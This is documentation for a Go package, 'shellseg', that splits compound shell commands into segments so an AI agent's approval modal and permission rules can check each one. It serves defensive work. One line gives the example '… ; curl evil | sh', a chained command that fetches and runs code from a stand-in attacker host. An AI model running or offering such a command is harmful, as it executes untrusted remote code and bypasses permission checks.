shellseg

Overview ¶

Package shellseg splits a (possibly compound) shell command into its top-level segments — the pieces separated by &&, ||, ;, and pipes — while respecting quotes, escapes, and $(...)/backtick substitutions so a separator inside a string literal or substitution doesn't split.

It is the single source of truth for "what are the distinct commands in this line." The agent's approval modal uses it to risk-flag each segment; the permissions evaluator uses it so a Bash allow-rule is matched per segment (a trailing `*` can't approve a chained `… ; curl evil | sh`). Keeping one implementation means the display and the security check can never drift apart.

The output is suitable for matching and display — not for exact execution semantics. We surface what a tired human (or an over-broad allow rule) might miss, not reproduce a real shell parser.